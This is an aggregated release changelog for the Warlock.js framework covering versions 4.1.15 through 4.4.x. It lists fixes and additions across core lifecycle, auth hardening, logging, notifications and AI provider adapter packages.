Fixed the socket connector no longer double-closes the shared HTTP server during graceful shutdown
Fixed the cache connector disconnects its drivers on shutdown — an open Redis connection was left dangling
Fixed generator stubs import v / Infer from @warlock.js/seal (core never re-exported them), so generated models compile and run
Fixed warlock dev hot-reloads when a file is emptied or saved with no trailing newline — a stale no-op-change check was silently dropping those saves before they reached HMR
Removed presigned-upload maxSize option — a presigned PUT URL cannot enforce a size cap, so the option was a false guarantee

@warlock.js/ai-anthropic Fixed 1

Fixed All upstream ClientOptions now reach the Anthropic client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, baseURL, …) verbatim, instead of dropping everything but apiKey / baseURL.

@warlock.js/ai-openai Fixed 1

Fixed All upstream ClientOptions now reach the OpenAI client. The SDK constructor peels off the framework-only provider / pricing keys and forwards the rest (timeout, maxRetries, defaultHeaders, custom fetch, organization, project, …) verbatim, instead of dropping everything but apiKey / baseURL.

4.4.0

June 21, 2026

@warlock.js/core completes the production lifecycle — a booted hook, a shutdown hook, graceful HTTP draining, and built-in /health + /ready endpoints for zero-downtime deploys. Plus AI fixes across @warlock.js/ai, @warlock.js/ai-openai, and @warlock.js/ai-panoptic (opt-in content capture, corrected Langfuse token accounting).

@warlock.js/core Added 8 Fixed 1

Added Application.onceBooted(cb) — run a callback once the app is fully booted (fires immediately if already booted)
Added Application.whenBooted() — promise that resolves with the boot context when the app is fully booted
Added Application.isBooted — whether the app has finished booting
Added Application.onShutdown(cb) — run teardown once on shutdown, before connectors stop (mirror of onceBooted)
Added Application.isShuttingDown — whether shutdown has begun
Added built-in /health (liveness) and /ready (readiness) endpoints with a health check registry (health.addCheck)
Added graceful HTTP shutdown — drains in-flight requests on shutdown, bounded by http.gracefulShutdown.timeout
Added http.health.* config to toggle or rename the health endpoints
Fixed connector shutdown no longer reverses the connector list in place (could corrupt order on a repeated shutdown)

@warlock.js/ai Fixed 2

Fixed Planner: OpenAI strict structured-output 400. The generated plan schema now lists every property in required and drops minItems / maxItems, so ai.planner() no longer fails against OpenAI strict json_schema mode.
Fixed Report / result types no longer collapse to never under strict TypeScript. The narrowing report / result types now override the discriminant via Omit<…> instead of intersection. Type-only — no runtime change.

@warlock.js/ai-panoptic Added 1 Fixed 1

Added Opt-in content capture. panoptic({ captureContent, redactContent }) copies the agent prompt / response and each tool's args / result onto spans, surfaced by the console (io), file, OTel (gen_ai.prompt / gen_ai.completion), and Langfuse exporters. Off by default; a ContentRedactor masks each value.
Fixed Langfuse token accounting — generations now meter their own usage (rolled-up minus children) and the root execution is metered, so the trace total no longer double-counts nested spans.

@warlock.js/ai-openai Fixed 1

Fixed Strict structured-output compatibility check is now recursive. A schema that omits a required property anywhere in the tree degrades to loose json_object instead of 400-ing; client-side validation still enforces the full shape.

@warlock.js/cascade Changed 1

Changed Documented model.uuid — the accessor returns the model's primary id as string (where model.id is string | number); the name is historical and performs no UUID validation.

4.3.0

June 21, 2026

Self-update tooling — @warlock.js/core gains the warlock update command and a new-release notice in warlock dev. @warlock.js/ai caps the primitive ladder with ai.orchestrator(), ai.planner(), and ai.memory(), plus a cost-truth pass across every provider. The new @warlock.js/ai-panoptic package adds observability. ⚠ Breaking: snapshot persistence moves from a CacheDriver to the dedicated SnapshotStore.

@warlock.js/core Added 4 Fixed 1

Added warlock update — update every @warlock.js/* package in package.json to its latest version (operator preserved), then run the detected package manager's install
Added dev-server update notice — warlock dev checks npm on start and prints a one-line notice when a newer @warlock.js/core is published
Added devServer.checkForUpdates config flag (default true) to toggle the dev-server update notice
Added fetchLatestVersion() and isNewerVersion() registry/version utilities
Fixed warlock dev --skip-typings and --skip-health long-form flags now work (were silently ignored)

@warlock.js/ai ⚠ BREAKING 1 Added 8

⚠ BREAKING Supervisor + workflow snapshot persistence moved from CacheDriver to the dedicated SnapshotStore contract. The per-primitive fallback is now ai.config({ defaultSnapshotStore }). Migration: replace snapshotStore: cache.driver("redis", { client }) with snapshotStore: ai.snapshot.redis({ client }) (and ai.snapshot.{memory,pg} for the other tiers).
Added ai.orchestrator() — stateful session manager over a supervisor: durable session / history / context, drift detection, history compaction, resume, and a command surface (orchestrator.asTool(), a 3-tier event surface, and OrchestratorContract / config / error types).
Added ai.checkpoint.{memory,pg,redis}() and ai.snapshot.{memory,pg,redis}() — durable orchestrator-session and supervisor / workflow run stores, with matching defaultCheckpointStore / defaultSnapshotStore config fields.
Added ai.memory() — agent-memory store with four tiers: working (in-run scratch), semantic (durable facts), episodic (durable, recency-blended events), and procedural (durable, reinforcement-blended how-tos). Wired into the orchestrator via a memory? field.
Added ai.planner() — an LLM generates an ordered plan over your registered capabilities, then executes it step-by-step.
Added ai.spawnSubAgent() — one-shot delegation to a fresh single-use agent with an optional per-task budget; usable from a planner step, a tool, or a workflow.
Added Cost-truth contract surface across all five adapters — Usage.reasoningTokens, per-channel ModelPricing, and ModelCallOptions.{reasoning, cacheControl} (ignored by adapters that lack the capability).
Added DX helpers — ai.router(), ai.fanOut(), ai.batch(), ai.fallbackModel(), ai.mockRouter(), agent.eval() + built-in ai.eval.* scorers, Vitest matchers (registerAiMatchers()), supervisor-level middleware, and ai.systemPrompt.fromFile(path).
Added Executables passed in an agent's tools: [...] are auto-adapted into tools (workflows / supervisors / orchestrators compose directly via .asTool()).

@warlock.js/ai-panoptic Added 4 Fixed 3

Added panoptic() — the one-call subscriber factory: builds a collector, registers exporters, and feeds traces via attach(), middleware(), or collect().
Added Exporters — consoleExporter(), fileExporter() (JSON-Lines), otelExporter() (GenAI semantic conventions), and langfuseExporter(). @opentelemetry/* and langfuse are optional peers, lazily imported.
Added createInMemoryTraceStore() — a queryable in-memory trace store (query / aggregate by runId, sessionId, status, time window; optional capacity FIFO cap) that doubles as an exporter.
Added Vendor-neutral trace contracts (Trace / TraceSpan / CollectorContract / ExporterContract) derived 1:1 from the core BaseReport tree, plus skills for observing, exporting, and querying traces.
Fixed Failed root runs now carry their error in every export (threaded from the result envelope onto the root span).
Fixed Per-span exporters now receive every span (the collector walks the finalized tree).
Fixed panoptic().middleware() now works on a supervisor (the middleware declares a supervisor hook map).

@warlock.js/ai-anthropic Added 4

Added Usage accounting — usage.cacheWriteTokens is populated from Anthropic's cache_creation_input_tokens (alongside cachedTokens); reasoningTokens is left unset because Anthropic bills thinking inside output_tokens.
Added Extended thinking — ModelCallOptions.reasoning maps to Anthropic's thinking budget (reasoning.effort → a tiered budget, floored at 1024); temperature is dropped when thinking is enabled.
Added System-prompt prompt caching — cacheControl.breakpoints >= 1 emits the system prompt with cache_control: { type: "ephemeral" }.
Added Capabilities — reasoning, promptCaching, and pdf are now advertised; audio stays absent.

@warlock.js/ai-bedrock Added 4

Added Cost-truth capabilities — reasoning, promptCaching, pdf, and audio are reported truthfully per model family (inferred from the model id, overridable via bedrock.model(...)).
Added Reasoning / extended thinking — ModelCallOptions.reasoning maps to Converse thinking for reasoning-capable models, and no-ops elsewhere so unsupported params never reach the wire.
Added Prompt-cache write breakpoints — cacheControl.breakpoints appends a Converse cachePoint block for caching-capable models.
Added Usage.cacheWriteTokens populated from Converse cacheWriteInputTokens; reasoningTokens is left unset (Bedrock reports no reasoning channel).

@warlock.js/ai-google Added 3

Added Usage.reasoningTokens is populated from Gemini's thoughtsTokenCount (alongside cachedTokens), surfaced only when reported > 0.
Added ModelCallOptions.reasoning maps to Gemini's thinkingConfig (maxTokens → thinkingBudget, effort → a bucketed budget) for reasoning-capable models.
Added ModelCapabilities now reports reasoning, promptCaching, audio, and pdf; cacheControl is accepted as a graceful no-op.

@warlock.js/ai-openai Added 3

Added Usage.reasoningTokens is populated from completion_tokens_details.reasoning_tokens (o-series / gpt-5 hidden reasoning channel), emitted only when > 0.
Added ModelCallOptions.reasoning.effort maps to the native reasoning_effort param for reasoning-capable models; reasoning.maxTokens has no Chat Completions equivalent.
Added ModelCapabilities.reasoning is inferred from the model name (overridable via .model(...)); promptCaching is always true (OpenAI caches automatically), and cacheControl write breakpoints are a no-op.

@warlock.js/ai-ollama Added 2

Added ModelCapabilities.reasoning is inferred from thinking-capable model tags (overridable via ollama.model({ name, reasoning })); promptCaching / audio / pdf report false.
Added ModelCallOptions.reasoning maps onto Ollama's native think flag for reasoning-capable models; reasoning.maxTokens and cacheControl are graceful no-ops.

4.2.11

June 17, 2026

Soft deletes go end-to-end in @warlock.js/cascade. @warlock.js/core adds warlock add notifications, and @warlock.js/notifications gains model-driven column mapping, read-state, and multi-tenant support.

@warlock.js/cascade Added 1 Changed 1 Fixed 2

Added Migration.create auto-wires the deletedAt column when the model's delete strategy is "soft" (opt out with { softDeletes: false })
Changed Require @mongez/reinforcements ≥ 3.3.0 — the update validator now uses its new when helper for conditional schema fields
Fixed Soft destroy() now sets deletedAt on the in-memory model — the instance was left stale before
Fixed Update validation no longer strips or rejects the deletedAt column under strict mode (now whitelisted like the timestamps)

@warlock.js/core Added 3 Changed 3 Fixed 1

Added lowerStage3Decorators() — Vite/Vitest plugin that lowers TC39 Stage-3 decorators with esbuild before oxc / the SSR rewrite mangles them; drop it first in plugins so model-decorated files load under Vitest 4 / Vite 8.
Added warlock add notifications — installs @warlock.js/notifications (+ the mail feature), ejects config/notifications.ts, and scaffolds the app-owned Notification model + migration (idempotent).
Added Notifications connector — a built-in, config-gated connector that lazy-imports @warlock.js/notifications, so core keeps no hard dependency on it.
Changed warlock add test now scaffolds a vite.config.ts that includes lowerStage3Decorators(), so a fresh project can test decorated models out of the box.
Changed warlock add test test / test:coverage scripts now run one-shot (vitest run) instead of watch mode — CI-safe by default.
Changed Bumped @mongez/reinforcements to 3.3.0
Fixed startHttpTestServer now starts early-phase connectors (database, cache, logger, …) before app modules, then late-phase (http, socket) after — mirroring dev/prod boot order; fixes a MissingDataSourceError under the Vitest integration harness.

@warlock.js/notifications Changed 5

Changed In-app column mapping moved onto the model as static columnMap (recipient / tenant / readAt / isRead); accessors, repository, and channels all derive from it. New NotificationColumnMap type.
Changed Read-state is presence-based — declaring readAt, isRead, or both selects the representation (default read_at); the mode-agnostic unread filter replaces isRead.
Changed Multi-tenant support — when the model declares a tenant column, the database channel reads it off the recipient and createFor(...) writes it.
Changed inApp.list / inApp.listUnread now forward full list options (page / limit / orderBy + filters).
Changed notificationColumns(model) derives its columns from columnMap; the SQL-vs-MongoDB dataSource branch is removed.

@warlock.js/auth Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0

@warlock.js/cache Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0

@warlock.js/herald Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0

@warlock.js/logger Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0

@warlock.js/seal Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0

create-warlock Changed 1

Changed Bumped @mongez/reinforcements to 3.3.0 (package dependency + project template)

4.2.10

June 17, 2026

Patch: @warlock.js/auth moves its internal @mongez/* utilities from peer to regular dependencies, clearing the install warnings. @warlock.js/logger softens its console timestamp to gray.

@warlock.js/auth Fixed 1

Fixed @mongez/copper, @mongez/events, and @mongez/reinforcements are now regular dependencies instead of peerDependencies — they're framework-internal utilities your app never imports, so declaring them as peers produced unmet peer dependency warnings on install.

@warlock.js/logger Changed 1

Changed ConsoleLog's timestamp (and the ↳ context arrow) switch from bright-black gray to the 256-color slate — recessive but cleanly legible where bright-black read muddy.

create-warlock Changed 1

Changed The project template now pins the latest @mongez/* versions (@mongez/reinforcements@^3.2.0, @mongez/agent-kit@^1.2.0) so freshly scaffolded apps start on current dependencies. (@warlock.js/* versions are still rewritten to the scaffolder's own version at install time.)

4.2.9

June 17, 2026

Patch: @warlock.js/logger's console output is retuned for scannability — a dimmed time-only timestamp, aligned level columns, and a restored white-on-red fatal badge.

@warlock.js/logger Changed 1

Changed ConsoleLog output retuned for scannability — a time-only HH:mm:ss.SSS timestamp dimmed to gray, fixed-width level tags so the columns align, and fatal restored to a white-on-bright-red background badge. (FileLog / JSONFileLog keep the full ISO timestamp.)

4.2.8

June 17, 2026

Patch: @warlock.js/logger now prints each level's name beside its icon (ℹ info, ⚠ warn, ✗ error, …) for at-a-glance reading.

@warlock.js/logger Changed 1

Changed ConsoleLog now prints each level's name beside its icon (⚙ debug, ℹ info, ⚠ warn, ✗ error, ✓ success, ☠ fatal) for at-a-glance reading.

4.2.7

June 17, 2026

Patch: create-warlock now ships its templates/ folder, fixing the "Something went wrong" error when scaffolding a new project.

create-warlock Fixed 1

Fixed The published package now ships its templates/ folder, so scaffolding a new project works from the installed package — it was missing from the build, which failed the wizard with "Something went wrong" at the template-copy step.

4.2.6

June 17, 2026

Patch: create-warlock ships its bin folder again, restoring the CLI that was dropped from 4.2.5.

create-warlock Fixed 1

Fixed The published package now ships its bin folder again, so the create-warlock CLI works from the installed package — it was omitted from the 4.2.5 build.

4.2.5

June 15, 2026

Patch: warlock add notifications now scaffolds the in-app notifications HTTP surface — routes plus a list / mark-read / clear controller, gated by auth.

@warlock.js/core Added 1

Added warlock add notifications now scaffolds the in-app read/dismiss HTTP surface — routes.ts + a notifications.controller.ts (list / unread-count / mark-read / mark-all-read / clear / delete), gated by authMiddleware and recipient-scoped via inApp. Pulls @warlock.js/auth.

4.2.4

June 15, 2026

Patch: corrects a worker-loader build path in @warlock.js/core that 4.2.3 left broken.

@warlock.js/core Fixed 1

Fixed Fix the worker-loader path in the build entry points — a wrong path in 4.2.3 left the worker entry broken (and blocked the 4.2.3 publish for some packages).

4.2.3

June 15, 2026

Patch: ships the worker scripts as @warlock.js/core build entry points. A wrong path here blocked publishing for some packages — fixed in 4.2.4.

@warlock.js/core Fixed 1

Fixed Add the worker scripts as build entry points so they ship in the published package.

4.2.2

June 15, 2026

Patch: ships the warlock CLI entry (cli/start) in @warlock.js/core's build.

@warlock.js/core Fixed 1

Fixed Add cli/start to the build entry points so the warlock CLI entry ships in the published package.

4.2.1

June 15, 2026

Patch: @warlock.js/core and @warlock.js/cascade ship their bin folders, restoring the warlock and cascade CLIs dropped from 4.2.0.

@warlock.js/core Fixed 1

Fixed Ship the bin folder so the warlock CLI works from the published package — it was omitted from the 4.2.0 build.

@warlock.js/cascade Fixed 1

Fixed Ship the bin folder so the cascade CLI works from the published package — it was omitted from the 4.2.0 build.

4.2.0

June 15, 2026

A security overhaul of @warlock.js/auth — brute-force throttling, atomic refresh-token rotation, and CSPRNG secrets (the jwt config gives way to accessToken / refreshToken). Introduces two packages: @warlock.js/notifications (multi-channel notifications) and @warlock.js/access (RBAC + ABAC authorization).

@warlock.js/notifications New 1

New Shipped Warlock.js Notifications Package.

@warlock.js/access New 1

New Shipped Warlock.js Access Package.

@warlock.js/auth Added 5 Fixed 6 Deprecated 1 Removed 2 Security 2

Added loginThrottleMiddleware — failure-aware brute-force / credential-stuffing protection: counts only failed logins, locks per-account and per-IP, and rejects pre-controller with 429 (cache-backed, fails open). Adds AuthErrorCodes.TooManyAttempts (EC004).
Added accessToken / refreshToken configuration blocks, making a separate refresh-token secret first-class.
Added Overridable token storage — register a custom model under config.auth.accessToken.model / refreshToken.model and .extend() the exported schemas to add columns (e.g. a multi-tenant organization_id).
Added tokenType (access | refresh) claim, stamped on issue and verified on read, so an access token can't be presented as a refresh token.
Added expires_at on access tokens; warlock auth.cleanup now purges expired access tokens too.
Fixed Default access-token lifetime was ~3.6 seconds (a numeric expiresIn read as milliseconds) and is now 1 hour.
Fixed Targeted revocation queried userId instead of the user_id column, so logout / refresh-token removal threw on Postgres and silently no-oped on MongoDB; token queries now route through named model statics.
Fixed Token deletions were fire-and-forget (false success for callers, uncatchable rejections) and are now awaited.
Fixed The route middleware matched on userType instead of the user_type column.
Fixed revokeAllTokens / revokeTokenFamily reported an empty set, so token.revoked / token.familyRevoked never fired; the revoked rows are now captured before revocation.
Fixed A throwing synchronous auth-event listener no longer turns a completed login into a 500.
Deprecated The auth.jwt.* configuration block. Use accessToken / refreshToken instead — the legacy shape is still read and mapped forward with a one-time deprecation warning.
Removed Unread access_tokens columns is_active and last_access.
Removed The unused auth.password.salt configuration key.
Security warlock jwt.generate now derives JWT_SECRET / JWT_REFRESH_SECRET from a CSPRNG (Random.token) instead of Math.random().
Security Refresh-token rotation is atomic — a guarded conditional UPDATE means two concurrent rotations can't both succeed, and a replayed token revokes its entire family.

@warlock.js/logger Added 4 Changed 3 Fixed 1

Added log.flush() — awaitable async counterpart to flushSync(), draining every channel via Promise.allSettled with per-channel isolation. Implemented by FileLog / JSONFileLog.
Added SentryLog channel — forwards entries to Sentry (eventLevels become events, others breadcrumbs; module / action as tags). @sentry/node is an optional, lazily-imported peer.
Added log.fatal() + fatal level — ranked strictly above error for unrecoverable failures; does not auto-flush or exit.
Added ConsoleLog renders fatal with a ☠ icon on a bright-red background, distinct from error's ✗.
Changed captureAnyUnhandledRejection() now escalates uncaughtException to log.fatal (was error); unhandledRejection stays at error.
Changed LoggingData.type is now typed as LogLevel (was a duplicated inline union).
Changed LogContract / LogChannel now expose an optional flush?() alongside flushSync?().
Fixed @sentry/node is referenced only via local types + an indirect dynamic import, so source-served consumers no longer get TS2307: Cannot find module '@sentry/node' when they don't install the optional peer.

@warlock.js/cascade Changed 1 Fixed 1

Changed MongoDB and PostgreSQL drivers now log a failed initial connect() at log.fatal (was log.error) — a boot-time database connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean. Per-query and disconnect failures stay at error.
Fixed PostgreSQL increment / decrement (and the *Many variants) bound the amount as $1, colliding with the first filter placeholder (SET n = n + $1 WHERE id = $1) so every filtered counter update wrote the wrong number; the amount now binds after the filter params.

@warlock.js/ai Fixed 1

Fixed No-argument tools (declared without an input schema) no longer crash on invocation — tool.invoke now skips validation when no schema is present and passes the raw input to the handler.

@warlock.js/ai-anthropic Added 1

Added Opt-in promptCaching flag on the model config — marks tool definitions with cache_control: { type: "ephemeral" } so multi-trip agents reuse the static tool schemas at the cache-read rate. Off by default.

@warlock.js/cache Changed 1

Changed Redis driver now logs a failed initial connect() at log.fatal (was log.error) — a boot-time cache connection failure is unrecoverable, so fatal keeps "page on fatal only" alerting clean.

@warlock.js/core Changed 1

Changed herald-connector and http-connector now log a failed boot-time connection at log.fatal (was log.error) — an unrecoverable broker connection or HTTP port-bind failure makes "page on fatal only" alerting clean; the HTTP connector flushes logs before process.exit(1). Disconnect / shutdown failures stay at error.

4.1.15

June 4, 2026

The first public release of Warlock.js — 17 packages published together at 4.1.15. Every change from here on is recorded per package and aggregated on this page.